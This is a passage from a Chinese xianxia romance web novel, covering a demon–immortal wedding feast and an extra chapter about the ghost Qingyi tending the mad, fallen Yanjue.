白芷挥手一拍,黑玄子从半空中瞬间跌落下去,身躯没入仙雾,跌落下界,不知去向。
白芷淡淡道:“看在白泽的面子上,我饶你一命,从今以后,你好自为之。”
......
一个月后。
今日是魔族君主无奕和仙族神女白芷大婚的日子。
碧岚宫内热闹非凡,宫门大开,全城的魔族都能进入其中,还有仙族做客,连人族也来凑热闹,整座宫殿玉灯花盏,彩纱装点,美轮美奂。
回廊中有仙姬穿梭,传出些欢声笑语,几人衣香鬓影美不胜收。这可是三界中第一次魔族仙族的联姻,大殿上金仙举杯谈笑,黄鹂从玉盘中拿起一颗葡萄,尝了一口,笑的很甜。
坐在上位的,自然是无奕和白芷一对新婚眷侣。
无奕温柔的看着白芷一袭红衣,一边与前来敬酒的宾客寒暄,接受众人祝福,言笑晏晏。
底下一位仙族弟子显然已经喝醉的不成样子:“你打架再厉害,也......嗝,也喝不过我!”
而对面的魔族弟子已经趴在桌子上酣睡了,连回复他的力气都没有。
白芷本不会饮酒,奈何人多,又太热情,有人非要闹她,她也只得断断续续饮了不少酒,不一会儿已经两颊微红,眼角带着水痕,越发娇艳。
“好多山珍海味!这可是千年成形一颗的龙佛果,放在外面千枚灵石都下不来,碧岚宫这么大方,我拿几颗回家不会和我计较吧。”乌星笑嘻嘻的四处张望,一边往衣衫兜里揣果子。
孙昭敲他脑袋,好气又好笑,忍不住骂道:“难道平日里白师妹在天璇宗上亏待了你,要你这么偷偷摸摸。”
贾勉做了好久的心理建设,尝了一口面前金杯中的琼浆玉液,面露苦涩,低声道:“嘶,我果然喝不惯这个。”
赤地长老一杯酒下肚,忍不住笑道:“贾护法,看不出来啊,你功夫了得,喝几杯酒却把你难倒。”
千里坐在赤地旁边,朝着大殿上望去。礼官拿出早已准备好的祝词本,正准备上台,然而现场太乱,那礼官摸了摸头顶,忽然发现帽子找不到了,急的团团转,脸也通红。
金仙哈哈大笑:“老夫给你变一顶吧!”
他大手一挥,礼官头顶瞬间出现一顶比先前还华丽的帽子,礼官忙点头道谢,收拾好衣衫,清了清嗓子,大声道。
“今夜星光杳杳,明月昭昭,庆贺魔族君主无奕喜得美娇娘白芷......”
“无奕......”白芷喘着气,轻声道。
无奕微微一怔低头,见白芷靠在他怀里,笑着问道:“阿芷,怎么了?”
“我喝的太多了,想出去透透气......”
“可是现在正在礼官祝词。”无奕无奈道。
“那又怎么了,不过是一些虚礼......”白芷撇了撇嘴,一双眼直勾勾盯着他。
无奕和她相视一笑,他忽然将她打横抱起,向着殿外走去。
“哎!”礼官大惊失色,“我还没读完呢,祝这对新人,终成眷属,永,永结同心!”
赤地看着无奕抱着白芷出去,倒是毫不意外,他走上前递给礼官一杯酒水:“行了,别念了,快下来喝酒吧。”
“哈哈哈!”大殿中气氛热闹非凡,无奕抱着白芷跑出大殿,将众人抛在身后。
“阿芷,你今日喝了不少酒,看起来都醉了。”无奕变幻出一杯茶水,将茶水递给她,眉目温柔,“喝点茶,醒醒酒。”
“无奕......”白芷静静的看着他,眼角微红,情难自禁。
远处忽然传来几声叫骂。
“你急什么?白师妹又不会丢了!”孙昭急急忙忙跟着乌星跑出来。
“你懂什么!”乌星跑的越来越急,“那魔头是只大尾巴狼,只是表面友善,说不定带着小香姐姐出去干什么坏事呢!”
乌星朝着远处遥望,发现了一抹红色倩影:“在那里,在那里!”
他三步并两步跑到碧花海的一座亭中,又瞬间满脸通红,用双手捂住眼睛:“欸……欸?欸!我我我,小香姐姐,不是故意的!”
孙昭还在后面跑,一边喘气一边骂道:“都让你别这么莽撞了,你非要跟出来!”
只见眼前桌凳上,无奕一手托着白芷,附身落下轻柔一吻,白芷两颊微红,眼中似有迷蒙水汽,口中溢出的茶水顺着嘴角滴落下来。
亭外满月盈盈,碧花在风中轻轻摇摆,暗香袭人。
75. 番外.别鹤鸾
这个村子十分偏僻,距离最近的镇子也有一段路程。但正值早市,小巷内全是叫卖的商贩,大多推着板车挑着货担,好不热闹。
巷子尽头的空地上,支着几个早点摊,摊位上漂浮升腾的热气。馒头摊前聚集了不少村民,大多数人都会在此买些吃食对付两口。
人群中有一个雪肤乌发的少女。
她生的很美,即使身着一身脏兮兮的乞丐装,头发打结成了一团团,也盖不住那双天生妩媚的眉眼,多盯一会,就会陷进去。
少女安静的站在人群中,目光盯着蒸笼里的包子。她虽生的出众,可排队买馒头的村民太多,暂时也没人在意到她。
一人接过馒头,刚递过去几枚铜板,碰巧后头的人推搡了一下,铜板掉落在地。
摊主弯下腰低头去摸,只一刻,少女靠近摊位,动作迅速,偷走了两只馒头转头便跑。
照理说正是来生意的时候,不过两只馒头,被偷也就算了,奈何摊主是个实心眼,气的把摊位托给隔壁,追着少女就跑了出去。
“吃白食的,给我站住!!”
少女喘着气一刻不停的跑,她没有穿鞋子,足底只剩干涸的血迹,脚踝的皮肤却嫩了些,蹭出几道新鲜的血痕。
她一个踉跄,终于不慎摔倒在地,被摊主追上。摊主先是气的踹她两脚:“小丫头还挺能跑?!”
少女皱了皱眉,疼的咬紧下唇,却始终不曾发话。
摊主这才看清她的脸,少女蜷缩在地上,苍白的脸显得唇色更艳,乌黑透亮的眼紧紧盯着他,其中满是敌意。
摊主不禁心猿意马起来:“啧啧,竟是这般漂亮的女娃......不过是几个馒头,你跟着我,保你吃饱喝足,怎么样?”
少女不语,只是慢慢退后。
摊主见她不答话,心急的紧,直接扑了上去:“哼,不过是个小乞丐,跟我是你的福气,你无亲无眷,就算我把你带走,也没人知道!”
少女忍无可忍,一口咬在摊主手臂上,摊主气的暴跳如雷,一巴掌打向她:“你敢?!”
他眼前忽然出现一双妖瞳,一股从头到脚蔓延开来的恐惧感瞬间笼罩住他,少女眼中只剩下乌黑竖瞳仁,散发诡异的绿光。
“什么,什么.....你是妖,有妖怪啊啊啊!!”
摊主神色惊慌,头也不回的跑了。
少女垂下眼眸,神情毫无波澜,将掉落在地上的馒头拾起来,擦一擦,小心翼翼的放入怀里。
她慢慢向着山头走去,方才磨破的脚踝阻碍她前进,一步,一步,少女走的很卖力。
她走了很久,直到夕阳西下,终于走进山头的一个亭子里。
亭子里坐着个蓬头垢面的疯子,见到她走进来便露出幸灾乐祸的笑容:“哈哈!你完了,你死到临头了!”
少女眼中带着浓浓的哀伤,却在见到他的那一刻全部收敛,只剩温柔。
她坐到他身旁,很耐心的喂他吃东西。
他毫不犹豫的推开,又说道:“什么完了?!你才是完了,你的境界全废了!你是个彻头彻尾的废物!”
说着他气的站起身,踹起一旁的杂草丛,口中骂骂咧咧,神情凶狠。
少女依旧耐心的喂着他吃馒头,无论他怎么胡闹,她始终是一幅淡然的笑。
疯子又开始滔滔不绝:“你知道吗?我拥有毁灭三界的能力,我可是上古仙人,我既是天帝,也是魔君,这世间就没有比我更强的!”
少女默默地听着,看着他,终于轻声道:“我信。”
他似乎很高兴,附身抓起地上的泥土,握在手中又高兴的四处挥洒,欢快的手舞足蹈:“你信我,你信我?”
“哈哈哈哈。”他又大笑起来,上前抱住她,“你一定是白泽对不对?只有白泽会信我,只有白泽信我......”
他抱住她的那一刻,她眼角微红,手中的馒头也掉落在地上,少女忍不住反抱了上去,似是无比眷恋这个怀抱。
但听到白泽两个字的瞬间,她眼中又有一丝转瞬即逝的痛苦。
她轻叹回道:“不是,我不是白泽......”
“对,你不是白泽,你怎么可能是白泽呢?白泽根本不喜欢我。”他似乎又清醒过来,直直的盯着她。
只是片刻,他又大笑着跑开了,一边跑一边扑进杂草丛里,漫无目的的四处乱撞。
少女跟了上去,抱住他,防止他进一步自伤,她柔声道:“王,不要这样了。”
他被她扶起,仰起头看她,夕阳有些刺眼,照的他看不起眼前少女的脸。
“你是谁?”衍决奇怪的看着她,“你为何要这样对我?”
她顿了顿,眼中不知何时带了泪花,声音哽咽:“我是青衣。”
“青衣是谁?”衍决眼中带着一丝探究,但很快消失无踪。
青衣看着他,看了很久,忽然无奈的笑了,泪水顺着脸颊留下来,明明是笑,却比哭还难看。
“你干嘛哭?”他似懂非懂。
她抱了上去,在他耳边轻声道:“我要走了,再也不会回来了。”
他心中好像有万千情绪翻涌,却怎么也想不起丢失的回忆,不明白自己难过究竟为何,只是觉得眼前人很熟悉。
“为什么?”他问。
青衣怔怔望着他,双眸通红,点点泪意充盈其中,嘴角绽开一个笑。
如血残阳中,她深呼一口气,闭了闭眼,瞬间泪水蜿蜒:“因为,我早就死了。我是一缕冤魂,魂魄不能停留太久,等我消散,就没人能照顾你了。”
她仍是笑着看他,衍决认真思考片刻:“那怎么办?”
青衣无奈道:“王,你要自己照顾自己,以后的路,我不能陪你走了。”
青衣身躯渐渐淡化的那一刻,他忽然意识到什么,紧紧的抱上去。
衍决眼中有温热液体流下,可还是晚了,青衣在他怀里消散,只剩一缕烟尘,消散在风中。
他在原地楞了很久,而后回到亭中枯坐,直到夕阳全部落幕,天上出现零零碎碎的星子。
耳畔可闻蟋蟀鸣声,山中寂静。
衍决低头,看着落在地上的那个灰扑扑的馒头
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,其实他一直都清醒,只是不愿意面对。
他是在转轮城中认识青衣的。
那时他已经是魔界转轮城王下的一把手,而青衣不过是一只有几分姿色的妖。
她境界一般,没什么本事,况且他心中只有白泽,对她提不起兴趣。
青衣找上他,说她可以帮他刺杀现任城王,夺得转轮王的位子,只要事成之后,他肯迎娶她。
那时的他根本不信,只觉得好笑:“我是转轮王手下的谋士,你敢密谋行刺,不怕我现在就杀了你?况且,他身边高手如云,你这身境界还想刺杀城王?”
青衣站在他面前,微微抬头,裙角被微风扬起,一双媚眼含水,倒影出他的样子。
她轻声道:“只要是你想达成的事情,我拼上性命也会做到。”
衍决只觉得她拿自己寻开心,他失笑:“你我素未谋面,我予你有大恩吗?你要这样帮我。还有,你若真敢对城王下手,我会毫不犹豫杀了你。”
一只卑贱的小妖,居然这般大胆,留她一命已是开恩。他摇摇头,不愿多说,不耐烦的拂袖离去。
青衣却拉住他的手,衍决皱眉回头,却见她毫不掩饰的冲他嫣然一笑。
“因为我喜欢你,我知你想坐城王的位子很久了,只有这样你才会娶我。”
她的眉眼似乎无比动人,他鬼使神差的没有甩开她的手。
衍决似笑非笑:“哦?说说看,你该如何杀转轮王呢。”
青衣仍然笑的美丽,目光灼灼:“我是妖,天生弱小,城王必然不会将我视作威胁。我还生的美丽,成为他的枕边人轻而易举。”
她抬起手来,露出一截白皙皓腕,手中是一把明晃晃的匕首。
衍决看他半晌,面带笑意,眼中却透着冰冷:“倒是有些手段,好啊,你去做吧,如果成功了,我自会娶你。可如果你败了,我不会替你收尸。”
青衣忍不住笑出声来,连笑声都是脆甜的。衍决淡淡的看着她,确实是绝世妖姬,只可惜生的一幅蛇蝎心肠。
她毫不在意的放开他的手,不甘示弱的看向他:“好,一言为定。”
她转身便离去,春风拂过轻柳,他只记得那抹碧色的影子渐行渐远,直到消失在视线中。
回过神来时,他仍盯着那只馒头。
衍决心中忽然涌起一股莫名的火,他愤怒起身,一拳砸向一旁石柱子。
他失去了一身修为,已经一无所有,为什么她还陪着自己,为什么?
她以为她是谁?以为这样他就会感动?
衍决好像愤怒又似发泄,不停的用拳头砸石柱,口中嘶喊:“你算什么东西,不过是个毒妇。我根本不喜欢你,滚!通通都滚!滚!”
他弄出的动静太大,砸的手上全是血也不知疲倦,树丛也摇晃起来,几只飞鸟吓得陡然惊起。
衍决双眼通红,一边砸一边忍不住哭泣,口中声嘶力竭哭喊:“给我滚!!离得越远越好!我根本不会在乎......”
不知过去多久,他缓缓抬头看星空,眼中只剩下麻木和绝望。